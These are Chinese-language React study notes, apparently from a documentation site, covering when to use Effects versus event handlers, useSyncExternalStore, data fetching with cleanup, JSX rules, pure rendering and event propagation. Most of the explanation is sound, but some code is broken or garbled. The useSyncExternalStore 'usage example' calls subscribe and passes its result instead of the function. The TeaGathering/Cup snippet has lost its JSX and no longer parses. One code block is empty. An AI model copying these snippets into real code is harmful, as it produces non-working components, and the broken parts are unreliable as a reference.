>   React 不会等到当前 JSX return 之后再更新，而是：
>
>   **丢弃当前结果并重新执行该组件的函数。**
>
>   官网：React 会丢弃已经返回的 JSX，并立即进行重新渲染。

> \[!IMPORTANT]
>
> **React 的渲染中断机制**（简化版）
>
> 1. 进入渲染 → 执行组件
> 2. 遇到 setState（在 render 中）
> 3. **标记：需要重新渲染这个 fiber**
> 4. 当前渲染丢弃（不会 push 到 Fiber 树）
> 5. React 立刻重新执行 List()（同步）
> 6. 渲染新结果（没有旧 selection）
>
> 整个过程在 commit 阶段之前完成
> → 所以不会对 DOM 产生任何影响
> → 不会渲染旧 UI
> → 不会触发副作用

> \[!IMPORTANT]
>
> **为什么 React 要立即中断**？
>
> 因为如果让旧值渲染出来然后再更新，会导致：
>
> * UI 闪动
> * 子组件渲染旧值
> * 逻辑混乱
>
> React 的目标：
>
> **渲染出来的 UI 必须是根据 props 和 state 对应的最新稳定值。**
>
> 所以：
>
> “**渲染中更新 state” = “刷新当前渲染，保持 UI 一致性**”

> \[!IMPORTANT]
>
> **总结**
>
> **React 在渲染期间遇到 setState，会立即中断当前渲染，重新渲染当前组件，使渲染结果始终基于一致的最新 state。**

**方式三（最佳实践）：避免调整 state，而是在渲染期间“计算”所需内容**

替代方案：不要保存整个 selection，而改为保存 **selectedId**。

```jsx
function List({ items }) {
  const [selectedId, setSelectedId] = useState(null);

  // 根据 items 和 selectedId 计算 selection
  const selection = items.find(item => item.id === selectedId) ?? null;
}
```

**为什么这是最好的方式**？

* 完全不需要调整 state。
* 数据流**高度可预测**：UI = f(state, props)。
* items 中该 id 不存在 → selection 自然是 null。
* items 改变但选中项仍存在 → 自动保留选中状态。
* 没有 Effect、没有额外渲染、更易理解。

这是 React 所说的：**通过计算而非存储，减少冗余状态。**

**总结**：

**Effect 用来执行副作用，不用来“修补渲染逻辑”**

* 调整 state 属于渲染逻辑
* 不是副作用
* 不应该放进 Effect

**渲染期间根据 props 调整 state：能做，但非必要尽量避免**

* 更高性能
* 但增加理解成本

**最佳方案是减少冗余 state**

* state 只保存 **最少且必要** 的信息
* selection 不需要存，selectedId 才是最小表达

4. **通过 key 强制重置也可以**

例如你希望 items 改变时整个 List 重置：

```jsx
<List key={itemsKey} items={items} />
```

## 在事件处理函数中共享逻辑{#share-logic-in-event-handlers}

React 中最常见的误区之一，就是把 **事件特定的逻辑** 写进 Effect。这是典型的“把事件逻辑和渲染逻辑混在一起”，会导致行为异常。

```jsx
useEffect(() => {
  if (product.isInCart) {
    showNotification(`已添加 ${product.name} 进购物车！`);
  }
}, [product]);
```

你希望：**只有用户点击添加按钮后才显示通知**

但副作用发生了：

* 页面刷新
* product.isInCart 初始就为 true → Effect 又触发通知！

这说明 Effect 做了一件“不是因为组件显示需要，而是因为用户操作需要”的事。

**通知应该与“事件”绑定，而不是与“渲染”或“数据变化”绑定。**

**正确做法**：把共享逻辑放在事件处理函数中

```jsx
function buyProduct() {
  addToCart(product);
  showNotification(`已添加 ${product.name} 进购物车！`);
}
```

然后两个按钮都用：

```jsx
function handleBuyClick() {
  buyProduct();
}

function handleCheckoutClick() {
  buyProduct();
  navigateTo('/checkout');
}
```

**总结**：这是共享逻辑的抽离，但更重要的是：**React 要求你把“用户行为逻辑”放在事件里，而不是放在 Effect**。因为 Effect 的执行时机和语义决定它不适合处理“事件特定”的逻辑。

## 请求事件逻辑{#request-event-logic}

**Effect 用来处理因为 “组件可见 / 渲染” 而产生的副作用，事件处理函数用来处理因为 “用户行为” 而产生的副作用**。

**分析请求（必须放在 Effect 中）**

```jsx
useEffect(() => {
  post('/analytics/event', { eventName: 'visit_form' });
}, []);
```

理由：

* 这个请求应该在 **表单显示** 时触发
* 属于“渲染副作用”（组件挂载 → 发请求）
* 不是用户触发的行为

所以放在 Effect 中完全正确。

**注册请求（不能放在 Effect 中）**

**错误版本**：

```jsx
const [jsonToSubmit, setJsonToSubmit] = useState(null);
useEffect(() => {
  if (jsonToSubmit !== null) {
    post('/api/register', jsonToSubmit);
  }
}, [jsonToSubmit]);
```

**正确版本**：放回事件处理函数

```jsx
function handleSubmit(e) {
  e.preventDefault();
  post('/api/register', { firstName, lastName });
}
```

## 链式计算{#chain-computing}

链式 Effect 的反例，其实就是在告诉你一句话：

**React 并不是一个「自动流程引擎」，渲染本身就是一次纯计算，不需要你用 Effect 来串联逻辑。**

React 的哲学很简单：

* 渲染 = **根据当前 state 计算 UI**
* 事件处理函数 = **根据用户行为更新 state**
* Effect = **只有当 UI 显示出这状态时必须做的事（同步外部系统）**

效果：React 程序就是 **从上往下执行** → **渲染 UI** → **等待事件** → **重新渲染**。

**为什么链式 Effect 会破坏 React 的模型**？

因为链式 Effect 等于把 React 当成“运行时工作流引擎”。

比如：

* card 变了 → goldCardCount 改
* goldCardCount 改 → round 改
* round 改 → isGameOver 改
* isGameOver 改 → 弹窗

这让 React 的渲染不再“纯粹”，渲染过程变成了副作用连锁触发系统。

而 React 的设计是：

**渲染应该是纯函数，不应包含有业务副作用的流程逻辑。**

这就是为什么 React 会建议：

* 不要把业务流程拆成一段一段的 Effect
* 而是把业务流程写成 **一次性、同步、纯粹的逻辑计算**

**所有由事件驱动的业务逻辑，都应该放在事件处理函数里，而不是分散到 Effect 中**。

**代码就是从上往下执行的，所以链式计算不需要那么麻烦**。

## 初始化逻辑{#initialization-logic}

开发环境中 React 会「故意」让组件 mount → unmount → 再 mount 一次

用于检查你的代码是否真正“可重复”的（strict mode 保护）。

如果你的初始化逻辑不是幂等的，就会变成：

```jsx
loadData()  // 本来应该一次
checkAuth() // 又被执行了两次
```

比如：

* 刷新 token → 被刷新两次 → token 失效
* 从 localStorage 读取数据 → 又触发一次写入 → 逻辑错乱
* 发送一次初始化 fetch → 被发两次 → 后端收到重复请求

React 的意思很简单：“组件逻辑必须可以重复执行，否则你未来会有 bug。”

**正确写法**：使用模块作用域的「一次性变量」

```jsx
let didInit = false;

function App() {
  useEffect(() => {
    if (!didInit) {
      didInit = true;
      loadDataFromLocalStorage();
      checkAuthToken();
    }
  }, []);
}
```

效果：

* strict mode mount 两次 → 第二次跳过
* production 只跑一次
* 保持逻辑稳定、可控

**更推荐的写法**：直接在**模块顶层**执行（真正只执行一次）

```jsx
if (typeof window !== 'undefined') {
  checkAuthToken();
  loadDataFromLocalStorage();
}

function App() {
  return <UI />;
}
```

## 通知父组件与状态提升{#notify-parent-component-and-status-escalation}

在 React 中，数据流是 **单向的**：**父组件 → 子组件**

当我们试图 “从子组件往父组件传值” 时，很容易犯一个常见错误：把处理放进 **Effect** 里。

React 新文档明确指出：**凡是能在事件中做的，就不要放到 Effect 中做。**

下面总结几个关键点。

**错误示例**：不要用 Effect 通知父组件 state 变化

```jsx
function Toggle({ onChange }) {
  const [isOn, setIsOn] = useState(false);

  useEffect(() => {
    onChange(isOn);
  }, [isOn, onChange]);
}
```

**为什么不好？**

1. 通知父组件的时机太晚（在渲染后才发生）
2. 父组件接收到数据后会 setState → 再触发一次新的渲染流程
3. 变成两次渲染：
   setIsOn → 渲染 → useEffect → onChange → 父组件 setState → 渲染，不必要的链式渲染

**正确方式**：在事件里一次性更新孩子与父组件

React 的事件是「批处理阶段」，在事件内部更新 state，React 会自动批量合并：

```jsx
function Toggle({ onChange }) {
  const [isOn, setIsOn] = useState(false);

  function updateToggle(nextIsOn) {
    setIsOn(nextIsOn);
    onChange(nextIsOn); // 通知父组件
  }

  function handleClick() {
    updateToggle(!isOn);
  }

  function handleDragEnd(e) {
    updateToggle(isCloserToRightEdge(e));
  }
}
```

优势：

* 单次事件 → 单次渲染（React 批量更新）
* 通知父组件的时机正确：和 state 更新发生在同一个事件中
* 没有 Effect，多余逻辑减少

> \[!IMPORTANT]
>
> **执行细节**
>
> 假设用户点击按钮 → `handleClick` 被调用：
>
> ```jsx
> handleClick() {
> updateToggle(!isOn);
> }
> ```
>
> 然后调用：
>
> ```jsx
> updateToggle(nextIsOn) {
> setIsOn(nextIsOn);      // 更新子组件自己的 state
> onChange(nextIsOn);     // 通知父组件更新 state
> }
> ```
>
> React 内部的 setState 流程
>
> **setIsOn(nextIsOn)**
>
> * React 记录这是子组件的一次状态更新。
> * 不会立即重新渲染组件，而是进入 **批处理队列**（batching）。
> * 在事件处理函数中，React 会把同一事件里的多个 setState 合并为一次更新。
>
> **onChange(nextIsOn)**
>
> * 这个函数假设是父组件的 setState：
>
> ```jsx
> function handleToggleChange(newVal) {
>   setParentState(newVal);
> }
> ```
>
> * 同样地，React 会把父组件的状态更新加入 **同一个批处理队列**。
>
> **批量更新（Batching）**
>
> React 在同一个事件处理函数里会把 **所有 setState 批量处理**：
>
> * 更新子组件 state (`setIsOn`)
> * 更新父组件 state (`setParentState`)
>
> 然后再统一触发渲染。
>
> **注意**：**在 React 18+ 中，所有浏览器事件处理函数里 setState 都会自动批量处理**。
>
> **一次事件 → 一次渲染**
>
> React 保证 **子组件 state 和父组件 state 的更新顺序** 按事件顺序发生
>
> 在渲染阶段，你在子组件里仍然能读取旧的 `isOn`（快照），除非用 `useEffect` 来观察
>
> ```jsx
> ```
>
> 这是 React 的设计：**事件内部读取的是当前渲染的快照**，setState 不会立即改变变量值。

::: info

**回顾**

**setState 的行为**

当你在 React 组件里调用 `setIsOn(nextIsOn)`

发生了几件事：

React **不会立即修改 `isOn` 变量**。

当前渲染函数里读取 `isOn`，仍然是旧值。

React 会把这次状态更新 **加入内部的更新队列（update queue）**。

**批处理（Batching）**

* 在同一个事件处理函数里，多次 `setState` 会被 **合并成一次更新**。
* React 在事件处理函数执行完毕后，会统一处理这个队列。

`setIsOn(true);` 和 `setOtherState(123);`  只会触发一次渲染

**下一轮渲染前**

* React 会计算最新的 state（队列里的所有更新都会应用），然后重新渲染组件。
* 新渲染函数执行时，`useState` 读取的就是最新值。
* 最终 React 会更新 DOM，把变化一次性提交给浏览器。

```jsx
事件触发
    ↓
组件事件处理函数开始
    ↓
调用 setState → 更新加入队列（isOn、父组件 state 等）
    ↓
事件函数执行完毕
    ↓
React 批量处理队列 → 计算最新 state
    ↓
触发重新渲染组件
    ↓
更新 DOM
```

:::

**更进一步**：让父组件完全控制子组件（状态提升）

有时候，你甚至不需要 child 自己管理状态，直接让父组件管理 isOn：

```jsx
function Toggle({ isOn, onChange }) {
  function handleClick() {
    onChange(!isOn);
  }

  function handleDragEnd(e) {
    onChange(isCloserToRightEdge(e));
  }
}
```

优势：

* 单一来源的数据
* 无需担心父子 state 同步问题
* 父组件对交互逻辑有完全掌控

React 官方推荐：**只要你发现你在同步两个 state，就应该把它们合并成一个，或者把状态提升。**

## 订阅外部 Store{#subscribe-external-store}

在 React 组件中，有时我们需要获取 **React state 之外的数据**，例如浏览器 API、第三方库或者全局状态管理库的数据。这些数据可能在 React 不可感知的情况下发生变化，因此需要在组件中手动订阅更新。

**传统做法**：在 Effect 中订阅

示例：订阅浏览器的在线状态 (`navigator.onLine`)

```jsx
function useOnlineStatus() {
  const [isOnline, setIsOnline] = useState(true);

  useEffect(() => {
    function updateState() {
      setIsOnline(navigator.onLine);
    }

    updateState();

    window.addEventListener('online', updateState);
    window.addEventListener('offline', updateState);

    return () => {
      window.removeEventListener('online', updateState);
      window.removeEventListener('offline', updateState);
    };
  }, []);

  return isOnline;
}
```

**特点与问题：**

* Effect 会在客户端执行，不在服务端渲染期间触发。
* 初始 state 可能不准确（服务端渲染时 `isOnline` 永远为 true）。
* 每次订阅和取消订阅都需要手动管理，容易出错。
* 如果多个组件都使用类似逻辑，代码重复。

**React 18+ 推荐做法**：`useSyncExternalStore`

React 提供了内置 Hook `useSyncExternalStore` 来 **安全、高效地订阅外部 store**。

```jsx
function subscribe(callback) {
  window.addEventListener('online', callback);
  window.addEventListener('offline', callback);
  return () => {
    window.removeEventListener('online', callback);
    window.removeEventListener('offline', callback);
  };
}

function useOnlineStatus() {
  return useSyncExternalStore(
    subscribe,              // 订阅函数，只要传同一个函数，React 不会重复订阅
    () => navigator.onLine, // 获取客户端最新值
    () => true              // 服务端渲染时的初始值
  );
}
```

**优点：**

1. **简化逻辑**：不再需要手动管理 Effect 和事件监听。
2. **减少错误**：自动处理订阅和取消订阅。
3. **支持服务端渲染（SSR）**：可提供服务端初始值。
4. **可封装为自定义 Hook**：多组件复用，避免重复代码。

```jsx
function ChatIndicator() {
  const isOnline = useOnlineStatus();

  return (
    <div>
      {isOnline ? '在线' : '离线'}
    </div>
  );
}
```

当浏览器的在线状态发生变化时，`ChatIndicator` 会自动重新渲染。

不需要额外的 Effect 或手动同步 state。

## useSyncExternalStore

`useSyncExternalStore` 是 React 18 引入的 Hook，用于 **安全订阅外部 store**（不一定是 React state），并保证：

* 在服务端渲染（SSR）中有确定的初始值
* 订阅在组件挂载和卸载时自动管理
* 避免渲染竞态和不一致的问题

典型用途：全局状态管理库（Redux、Zustand 等）、浏览器 API、WebSocket 状态等。

**函数签名**

```jsx
const state = useSyncExternalStore(
  subscribe: (callback: () => void) => () => void,
  getSnapshot: () => any,
  getServerSnapshot?: () => any
): any
```

**参数说明：**

| 参数                | 类型                       | 作用                                                         |
| ------------------- | -------------------------- | ------------------------------------------------------------ |
| `subscribe`         | `(callback) => () => void` | 订阅 store 的函数。当 store 数据发生变化时，调用 `callback` 通知 React 重新渲染。返回一个函数用于取消订阅。 |
| `getSnapshot`       | `() => any`                | 获取当前 store 的最新值（客户端）。React 在渲染时调用它来得到组件需要的 state。 |
| `getServerSnapshot` | `() => any`（可选）        | SSR 时获取初始值的函数。服务端渲染时不会调用 `subscribe`，仅用它获取 snapshot。 |

**返回值：**

* 返回 store 的当前值（即 `getSnapshot()` 的返回值）
* 当 store 变化并触发订阅回调时，组件会重新渲染，并返回最新值

**使用示例**

```jsx
function subscribe(callback) {
  window.addEventListener('online', callback);
  window.addEventListener('offline', callback);
  return () => {
    window.removeEventListener('online', callback);
    window.removeEventListener('offline', callback);
  };
}

function useOnlineStatus() {
  return useSyncExternalStore(
    subscribe(() => {
      alert(`网络状态变化: ${navigator.onLine ? "在线" : "离线"}`);
    }),
    () => navigator.onLine,
    () => true // SSR 初始值
  );
}

function ChatIndicator() {
  const isOnline = useOnlineStatus();
  return <div>{isOnline ? '在线' : '离线'}</div>;
}
```

执行机制

**渲染阶段**

1. React 调用 `useSyncExternalStore`。
2. React 调用 `getSnapshot()` 获取当前 store 值，并缓存为本次渲染使用。
3. 如果返回值与上一次渲染值不同，会触发重新渲染。

**订阅阶段**（挂载后）

* React 会调用 `subscribe(callback)`：
  * 你提供的 `callback` 会在 store 变化时被调用
  * React 会重新调用 `getSnapshot()` 获取最新值并更新组件
* 当组件卸载时，`subscribe` 返回的取消函数会自动执行，移除订阅

**服务端渲染**（SSR）

* 不会调用 `subscribe`（因为浏览器事件不存在）
* 调用 `getServerSnapshot()` 获取初始值
* 确保 SSR 渲染的一致性

**注意**：

**订阅函数必须是稳定的**

* 每次渲染传入不同的函数，React 会重复取消和重新订阅

**不要在 `getSnapshot` 中引入副作用**

* 只能读取 store 的值，不能触发网络或 DOM 更新

**适合“同步外部 store”**

* 如果 store 更新频率很高，React 会批量处理重新渲染

## 获取数据{#get-data}

在 React 应用中，**Effect 常用于发起数据获取请求**，但使用时需要注意一些常见问题和最佳实践。

当组件**可见时**需要同步外部数据（例如从 API 获取搜索结果）。

数据的来源（用户输入、URL、state 等）变化时，需要保持组件的状态与最新数据一致。

这种逻辑通常不适合放在事件处理函数中，因为数据获取不是由单次用户操作触发的，而是组件展示所需。

```jsx
function SearchResults({ query }) {
  const [results, setResults] = useState([]);
  const [page, setPage] = useState(1);

  useEffect(() => {
    fetchResults(query, page).then(json => {
      setResults(json);
    });
  }, [query, page]);

  function handleNextPageClick() {
    setPage(page + 1);
  }
}
```

快速连续更新 query 或 page 时，可能会触发多次异步请求。如果较早请求晚于后续请求返回，可能导致 **显示错误的结果**。

**解决方式**：使用清理函数忽略过期请求

```jsx
useEffect(() => {
  let ignore = false;

  fetchResults(query, page).then(json => {
    if (!ignore) {
      setResults(json);
    }
  });

  return () => {
    ignore = true;
  };
}, [query, page]);
```

* 当 effect 被清理（组件卸载或依赖变化）时，将 `ignore` 置为 `true`。
* 仅最后一次请求的返回结果会生效，避免显示旧数据。

**数据获取逻辑的封装**

将获取数据逻辑提取到 **自定义 Hook** 可以使组件更简洁、可复用，并为后续优化（如缓存、服务端渲染）提供方便。

示例：

```jsx
function useData(url) {
  const [data, setData] = useState(null);

  useEffect(() => {
    let ignore = false;

    fetch(url)
      .then(res => res.json())
      .then(json => {
        if (!ignore) setData(json);
      });

    return () => { ignore = true; };
  }, [url]);

  return data;
}

function SearchResults({ query }) {
  const [page, setPage] = useState(1);
  const params = new URLSearchParams({ query, page });
  const results = useData(`/api/search?${params}`);

  function handleNextPageClick() {
    setPage(page + 1);
  }
}
```

* 自定义 Hook 将 Effect 和异步逻辑封装起来，组件只需关注结果。
* 可以在 Hook 内部添加 **加载状态、错误处理、缓存** 等扩展逻辑。
* 组件中 useEffect 调用越少，维护越容易。

---

---
url: /react/eqlo14ts/index.md
---
# React UI 组件 和 交互{#react}

## 组件大写命名{#comp\_name}

**React 的组件名称必须以大写字母开头，否则将无法运行**。

在 JSX 的语法规则中，对于标签首字母的大小写有着明确且非常重要的区分。具体来说，当你在 JSX 中书写一个标签时，如果它的首字母是大写的，那么 JSX 的编译器会将其识别并“通常被认为”是一个自定义的 React 组件。这意味着它会期望在你的 JavaScript 代码中找到一个同名的、通过 `import` 导入或在当前作用域内定义的组件（例如，一个函数组件或类组件），并尝试渲染它所定义的 UI 逻辑。

相反地，如果一个标签的首字母是小写的，JSX 则会将其视作一个标准的、原生的 HTML 标签，例如 `<h1>`、`<p>`、`<section>` 等等。在这种情况下，JSX 会直接将其转换为对应的 HTML 元素，最终由浏览器进行渲染。

这种区分机制是 JSX 能够理解并处理自定义组件和原生 DOM 元素之间关系的关键所在。它确保了 React 能够正确地解析你的代码，并将你定义的组件树转化为浏览器可以理解的 DOM 结构。因此，严格遵循这一命名约定对于编写可运行且易于理解的 React 应用至关重要，混淆大小写将导致渲染错误或意想不到的行为。

## 组件定义位置{#comp\_defn}

组件可以渲染其他组件，但不应在组件内部定义组件。

## JSX 三大规则{#jsx\_rules}

**JSX 规则**

**1. 只能返回一个根元素**

**2. 标签必须闭合**

像 `<img>` 这样的自闭合标签必须书写成 `<img />`。

**3. 用驼峰式命名法给大部分属性命名**

由于 JSX 属性会转化为 JavaScript 对象键值对，且 JavaScript 变量名不能含 `-` 或为 `class` 等保留字，React 将大部分 HTML 和 SVG 属性以驼峰式命名，如 `strokeWidth` 代替 `stroke-width`。

`class` 因是保留字而需用 `className` 代替，这也符合 [DOM 属性命名](https://developer.mozilla.org/zh-CN/docs/Web/API/Element/className)。

然而，`aria-*` 和 `data-*` 属性因历史原因仍沿用带 `-` 的 HTML 格式。

## Props 的转发{#props\_fwd}

```jsx
function Profile(props) {
  return (
    <div className="card">
      <Avatar {...props} />
    </div>
  );
}
```

这段代码的意思是将 `Profile` 的所有 props 转发到 `Avatar`。

## Children Prop{#child\_prop}

```jsx
<Card>
  <Avatar />
</Card>
```

`Card` 组件将接收一个被设为 `<Avatar />` 的 `children` prop。

```jsx
function Card({ children }) {
  return (
    <div className="card">
      {children}
    </div>
  );
}
```

## Fragment Key{#frag\_key}

Fragment 语法的简写形式 `<> </>` 无法接受 `key` 值。因此，你只能选择以下两种方式：要么将生成的节点用一个 `<div>` 标签包裹起来，要么使用虽然稍长但更明确的 `Fragment` 完整写法：

```jsx
import { Fragment } from 'react';

// ...

const listItems = people.map(person =>
  <Fragment key={person.id}>
    <h1>{person.name}</h1>
    <p>{person.bio}</p>
  </Fragment>
);
```

这里的 `Fragment` 标签本身并不会出现在 DOM 上，这段代码最终会转换成 `<h1>`、`<p>`、`<h1>`、`<p>`…… 的列表。

## 纯函数与严格模式{#pure\_func}

纯函数指的是一种特殊的函数，它满足两个核心条件：首先，对于相同的输入参数，它总是返回完全相同的输出结果，不随外部状态的变化而改变；其次，纯函数不会产生任何可观察的副作用（Side Effects），这意味着它不会修改函数外部的任何状态，例如不修改传入的参数、不修改全局变量、不执行网络请求，也不进行控制台输出等操作。在 React 等函数式编程范式中，纯函数是构建可预测、易于测试和理解组件的基础。

React 提供了 “严格模式”，在严格模式下开发时，它将会调用每个组件函数两次。​**通过重复调用组件函数，严格模式有助于找到违反这些规则的组件**​。

严格模式在生产环境下不生效，因此它不会降低应用程序的速度。如需引入严格模式，你可以用 `<React.StrictMode>` 包裹根组件。一些框架会默认这样做。

## 局部 Mutation{#local\_mut}

**局部 mutation**

在渲染过程中，组件修改了 **预先存在** 的变量值。为了更精确地描述，我们将这种现象称之为 **突变（mutation）**。纯函数不会修改函数作用域外的变量，也不会修改在函数调用前（组件渲染前）就已存在的对象——这样做会使函数变得不纯粹！

然而，**你完全可以在渲染时修改你刚刚创建的变量和对象**。在本示例中，你创建了一个 `[]` 数组，并将其赋值给 `cups` 变量，然后 `push` 进去 100 个 `Cup` 组件：

```jsx
function Cup({ guest }) {
  return Tea cup for guest #{guest};
}

export default function TeaGathering() {
  const cups = [];
  for (let i = 1; i <= 100; i++) {
    cups.push();
  }
  return cups;
}
```

如果这个 `cups` 数组是在 `TeaGathering` 函数之外创建的，那这将是一个很大的问题！因为那样做会导致你调用数组的 `push` 方法时，修改了 **预先存在** 的对象。

然而，在这里则不会有问题，因为每次渲染时，`cups` 数组都是在 `TeaGathering` 函数内部创建的。`TeaGathering` 函数之外的代码不会感知到这一变化。这被称之为 **局部突变（local mutation）**——如同藏在组件内部的小秘密。

## 渲染需纯函数{#render\_pure}

**React 只希望你在“渲染阶段”写纯函数，其他逻辑自由发挥。**

## 纯函数的好处{#pure\_bene}

**React 为何强调纯函数？**

编写纯函数需要遵循一些习惯与规范，但它也为你开启了巨大的可能性：

* **组件可在不同环境中安全运行**
  由于纯函数在相同输入下总是返回相同结果，React 组件可以无缝运行在浏览器、服务器，甚至其他平台上。比如，在服务端渲染（SSR）时，一个组件可以安全地响应多个用户请求。
* **渲染可以安全地跳过**
  如果组件的输入没有发生变化，React 可以跳过重新渲染。这是安全的优化，因为纯函数的返回值总是确定的，因此可以放心地缓存结果，显著提升性能。
* **渲染过程可随时中断和重启**
  在渲染深层组件树的过程中，若某些数据发生变化，React 可以中断当前的渲染并从头开始，无需担心副作用或状态污染。纯函数的确定性保证了这种“随时中止、随时重来”的能力。
* **React 的核心能力依赖于纯函数设计**
  我们正在构建的每一个新特性——从数据请求、动画处理到性能优化，都在利用组件的纯粹性。保持组件纯净，是充分释放 React 编程范式潜力的关键。

## 渲染副作用{#render\_se}

如果一个组件在渲染阶段产生副作用，那么当 React 因数据更新而中断并重启渲染时，这些副作用可能已经影响了外部状态，导致最终渲染结果不可预测，甚至产生 bug。

**如果渲染过程有副作用，就无法安全地中断和恢复**

## 状态的定义{#state\_def}

随着时间推移而不断变化和更新的数据，通常被称作“状态”（state）。这种状态反映了系统或程序在特定时刻的即时情况或条件，是其当前动态属性的体现。

## 事件处理函数{#event\_hdl}

**事件处理函数** 的特点是

* 通常在你的组件 **内部** 定义。
* 名称以 `handle` 开头，后跟事件名称。

按照惯例，通常将事件处理程序命名为 `handle`，后接事件名。你会经常看到 `onClick={handleClick}`，`onMouseEnter={handleMouseEnter}` 等。

## 传递函数引用{#pass\_ref}

在 React 中，向事件处理函数（如 `onClick`）传递函数时，**应该直接传递函数的引用，而不是调用函数**。这意味着你需要将函数本身作为属性值传递，而不是执行该函数并传递其返回值。

**正确方式：**

* 传递已定义的函数：

  ```tsx
  <button onClick={handleClick}>
  ```

  * 这里 `handleClick` 是一个函数的引用。React 会记住这个函数，只有当用户点击按钮时才会执行它。

* 传递内联匿名函数：

  ```tsx
  <button onClick={() => alert('...')}>
  ```

  * 这里 `() => alert('...')` 是一个匿名函数的引用。这个匿名函数会在用户点击按钮时被调用，从而执行 `alert`。

**错误方式：**

* 直接调用已定义的函数：

  ```tsx
  <button onClick={handleClick()}>	
  ```

  * `handleClick()` 中的 `()` 会导致函数在组件 **渲染时立即执行**，而不是在点击时执行。这是因为 JSX `{}` 内部的 JavaScript 会立即求值。你得到的是 `handleClick` 的返回值，而不是函数本身。

* 直接调用内联函数：

  ```tsx
  <button onClick={alert('你点击了我！')}>
  ```

  * `alert('你点击了我！')` 会在组件 **渲染时立即执行**，而不是在点击时执行。同样，JSX `{}` 内部的代码会被立即执行。你传递给 `onClick` 的是 `alert` 函数的返回值（在浏览器环境中通常是 `undefined`），而不是一个函数。

**关键区别在于：**

当你使用 `()` 调用一个函数时，你传递的是该函数执行后的结果。而当你不使用 `()` 直接传递函数名或匿名函数时，你传递的是函数的引用，React 会在适当的时候（例如用户点击时）去调用这个引用所指向的函数。

## 阻止事件冒泡{#stop\_prop}

**阻止事件冒泡的写法**

```tsx
function Button({ onClick, children }) {
  return (
    <button onClick={e => {
      e.stopPropagation();
      onClick();
    }}>
      {children}
    </button>
  );
}

export default function Toolbar() {
  return (
    <div className="Toolbar" onClick={() => {
      alert('你点击了 toolbar ！');
    }}>
      <Button onClick={() => alert('正在播放！')}>
        播放电影
      </Button>
      <Button onClick={() => alert('正在上传！')}>
        上传图片
      </Button>
    </div>
  );
}
```

## 事件捕获阶段{#ev\_capture}

**捕获阶段事件**

在极少数情况下，你可能需要 **在事件到达其目标元素之前捕获并处理它**，即使目标元素上的事件处理函数会阻止事件继续传播。这就像一个“事件拦截器”——在事件向下传递的过程中，我们有机会先处理它。

举个例子，假设你想对页面上的每一次点击都进行数据统计（比如“埋点”），而不管点击的具体按钮是否阻止了事件冒泡（`stopPropagation()`）。这时，传统的 `onClick` 事件就无法满足需求了，因为如果子元素阻止了传播，父元素的 `onClick` 就接收不到了。

为了实现这种“提前拦截”的能力，React 提供了 **捕获阶段事件**。你只需要在事件名称后面加上 `Capture`：

```jsx
<div onClickCapture={() => { /* 这会首先执行 */ }}>
  <button onClick={e => e.stopPropagation()} /> {/* 这个按钮会阻止事件冒泡 */}
  <button onClick={e => e.stopPropagation()} /> {/* 这个按钮也会阻止事件冒泡 */}
</div>
```

在这个例子中：

1. 当用户点击任意一个 `<button>` 时，`onClickCapture` 处理函数会在事件到达按钮并执行按钮上的 `onClick` 之前被调用。
2. 即使按钮上的 `onClick` 调用了 `e.stopPropagation()` 来阻止事件冒泡到 `div` 的 `onClick` 处理函数，`onClickCapture` 也已经执行过了。

**事件传播的三个阶段（简化理解）：**

一个事件从触发到完成，通常会经历以下三个阶段：

1. **捕获阶段（Capture Phase）：** 事件从文档根部开始，层层向下传播，直到到达目标元素。在此过程中，所有带有 `Capture` 后缀的事件处理函数（如 `onClickCapture`）都会被触发。
2. **目标阶段（Target Phase）：** 事件到达被点击的实际元素。此时，该元素上绑定的普通事件处理函数（如 `onClick`）会被触发。
3. **冒泡阶段（Bubbling Phase）：** 事件从目标元素开始，层层向上冒泡，直到文档根部。在此过程中，所有未带有 `Capture` 后缀的事件处理函数（如父元素上的 `onClick`）都会被触发，除非在某个阶段被 `stopPropagation()` 阻止。

**何时使用捕获事件？**

捕获事件主要用于实现一些“全局性”或“基础设施”级别的功能，例如：

* **路由：** 在事件到达链接等元素之前，进行路由跳转的拦截和处理。
* **数据分析 / 埋点：** 记录页面上所有用户交互行为，而无需关心具体元素的事件处理逻辑。
* **特定场景的事件委托：** 在父级捕获所有子级的特定事件，进行统一处理。

总而言之，**捕获事件是处理事件的“提前批”**。它们确保了即使子元素阻止了事件冒泡，你仍然有机会在事件到达目标元素之前进行处理。在多数普通的应用程序业务逻辑中，你可能不常直接使用它们，但它们在构建复杂系统或基础架构时非常有用。

## 阻止默认行为{#prev\_def}

```jsx
export default function Signup() {
  return (
    <form onSubmit={e => {
      e.preventDefault();
      alert('提交表单！');
    }}>
      <input />
      <button>发送</button>
    </form>
  );
}
```

* [`e.stopPropagation()`](https://developer.mozilla.org/docs/Web/API/Event/stopPropagation) 阻止触发绑定在外层标签上的事件处理函数。
* [`e.preventDefault()`](https://developer.mozilla.org/docs/Web/API/Event/preventDefault) 阻止少数事件的默认浏览器行为。

## 副作用的位置{#se\_place}

事件处理函数是执行副作用的最佳位置，和渲染函数不同，事件处理函数可以执行任何操作，包括修改 DOM、进行网络请求、设置状态等，所以它不需要是纯函数。

## useState Hook{#use\_state}

[`useState`](https://zh-hans.react.dev/reference/react/useState) Hook 提供了两个功能：

* State 变量 用于保存渲染间的数据。
* State setter 函数 更新变量并触发 React 再次渲染组件。

## Hook 的规则{#hook\_rules}

在 React 中，`useState` 以及任何其他以 `use` 开头的函数都被称为 **Hook**，**只能在组件或 [自定义 Hook](https://zh-hans.react.dev/learn/reusing-logic-with-custom-hooks) 的最顶层调用**，不能在条件语句、循环语句或其他嵌套函数内调用 Hook。

## useState 流程{#state\_flow}

当你调用 [`useState`](https://zh-hans.react.dev/reference/react/useState) 时，你是在告诉 React 你想让这个组件记住一些东西：

```jsx
const [index, setIndex] = useState(0); // 你希望 React 记住 index。
```

`useState` 的唯一参数是 state 变量的 **初始值**。在例子中，`index` 的初始值被 `useState(0)` 设置为 `0`。

每次你的组件渲染时，`useState` 都会给你一个包含两个值的数组：

1. **state 变量** (`index`) 会保存上次渲染的值。
2. **state setter 函数** (`setIndex`) 可以更新 state 变量并触发 React 重新渲染组件。

**`useState` 的工作流程**：

1. **初次渲染：** 当组件进行 **第一次渲染** 时，如果你像这样调用 `useState(0)`，它会返回一个数组 `[0, setIndex]`。此时，React 会 **记住**：这个组件的 `index` 状态的初始值是 `0`。
